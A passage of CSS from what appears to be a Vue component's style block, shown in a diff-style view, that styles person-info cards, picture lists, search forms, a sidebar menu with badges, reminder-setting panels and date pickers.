margin-top: 10px; |
||||
|
} |
||||
|
|
||||
|
.personDataContainer .picture, |
||||
|
.personDataContainer .personInfo { |
||||
|
display: inline-block; |
||||
|
float: left; |
||||
|
} |
||||
|
|
||||
|
.personDataContainer .picture { |
||||
|
width: 40%; |
||||
|
} |
||||
|
|
||||
|
.personDataContainer .picture img { |
||||
|
width: 100%; |
||||
|
} |
||||
|
|
||||
|
.personDataContainer .personInfo { |
||||
|
margin-left: 5px; |
||||
|
width: 50%; |
||||
|
} |
||||
|
|
||||
|
.personDataContainer .personInfo p { |
||||
|
font-size: 13px; |
||||
|
margin: 8px 0px; |
||||
|
overflow: hidden; |
||||
|
white-space: nowrap; |
||||
|
text-overflow: ellipsis |
||||
|
} |
||||
|
|
||||
|
.pictureContainer ul li .picture { |
||||
|
text-align: center; |
||||
|
} |
||||
|
|
||||
|
.pictureContainer ul li .picture img { |
||||
|
width: 100%; |
||||
|
/* width: 70%; |
||||
|
padding: 10px; |
||||
|
border: 4px solid #d8d8d8; */ |
||||
|
} |
||||
|
|
||||
|
.pictureContainer ul li .title { |
||||
|
text-align: center; |
||||
|
} |
||||
|
|
||||
|
.personForm { |
||||
|
font-size: 0; |
||||
|
padding: 5px 14px 5px 0px; |
||||
|
text-align: right; |
||||
|
} |
||||
|
|
||||
|
.personForm>.el-button { |
||||
|
margin-left: 8px!important; |
||||
|
} |
||||
|
|
||||
|
.personSearch { |
||||
|
float: left; |
||||
|
padding: 5px 10px; |
||||
|
} |
||||
|
|
||||
|
.el-table .cell { |
||||
|
word-break: initial |
||||
|
} |
||||
|
|
||||
|
.textOrg { |
||||
|
width: 50%; |
||||
|
text-align: center; |
||||
|
margin-top: 5px; |
||||
|
} |
||||
|
|
||||
|
.el-header { |
||||
|
height: 40px!important; |
||||
|
} |
||||
|
.personSearch{ |
||||
|
float: left; |
||||
|
padding: 5px 10px; |
||||
|
} |
||||
|
/* //------------------------- */ |
||||
|
.header-left{ |
||||
|
border-right:1px solid #e6e6e6; |
||||
|
} |
||||
|
.header-left .tac{ |
||||
|
padding:10px 16px; |
||||
|
height:284px; |
||||
|
} |
||||
|
.header-left .tac .el-menu{ |
||||
|
border-right:none; |
||||
|
} |
||||
|
.tac-title{ |
||||
|
color:#666; |
||||
|
} |
||||
|
.tac-des{ |
||||
|
font-size:13px; |
||||
|
color:#999; |
||||
|
} |
||||
|
.el-menu-item.is-active .tac-title{ |
||||
|
color:#409EFF !important; |
||||
|
} |
||||
|
.classAffair { |
||||
|
font-size:16px; |
||||
|
padding-left:12px !important; |
||||
|
height:auto; |
||||
|
padding:16px 12px; |
||||
|
line-height: inherit; |
||||
|
white-space: normal; |
||||
|
display: flex; |
||||
|
align-items: center; |
||||
|
position: relative; |
||||
|
} |
||||
|
.classAffair-badge{ |
||||
|
position: absolute; |
||||
|
right: -6px; |
||||
|
top: -6px; |
||||
|
display: inline-block; |
||||
|
padding: 3px; |
||||
|
font-size: 12px; |
||||
|
background: #ff7e7e; |
||||
|
color: #fff; |
||||
|
border-radius: 50px; |
||||
|
text-align: center; |
||||
|
} |
||||
|
.classAffair-img,.classAffair-info{ |
||||
|
display: inline-block; |
||||
|
} |
||||
|
/* // 提醒设置 */ |
||||
|
.setting-main{ |
||||
|
height:196px; |
||||
|
} |
||||
|
.setting-title{ |
||||
|
background-color: #efefef; |
||||
|
padding:6px 5px 6px 10px; |
||||
|
} |
||||
|
.tac-set-form{ |
||||
|
padding:8px 0; |
||||
|
} |
||||
|
.el-menu-item.is-active{ |
||||
|
background-color: #d9eaff; |
||||
|
} |
||||
|
.header-right-search{ |
||||
|
padding-left:30px; |
||||
|
background-color: #efefef; |
||||
|
} |
||||
|
.header-right-date-picker{ |
||||
|
padding:0; |
||||
|
width:220px; |
||||
|
top:2px; |
||||
|
} |
||||
|
/deep/.header-right-date-picker .el-range-separator{ |
||||
|
line-height: inherit; |
||||
|
width:20px; |
||||
|
} |
||||
|
.header-right-search .demo-form-inline .search-btn{ |
||||
|
border-radius: 4px; |
||||
|
padding:revert; |
||||
|
} |
||||
|
/* 左侧底部设置 */ |
||||
|
.tac-footer-btn{ |
||||
|
background-color: #daeafd; |
||||
|
text-align: center; |
||||
|
padding:3px 0; |
||||
|
width:100%; |
||||
|
} |
||||
|
|
||||
|
</style> |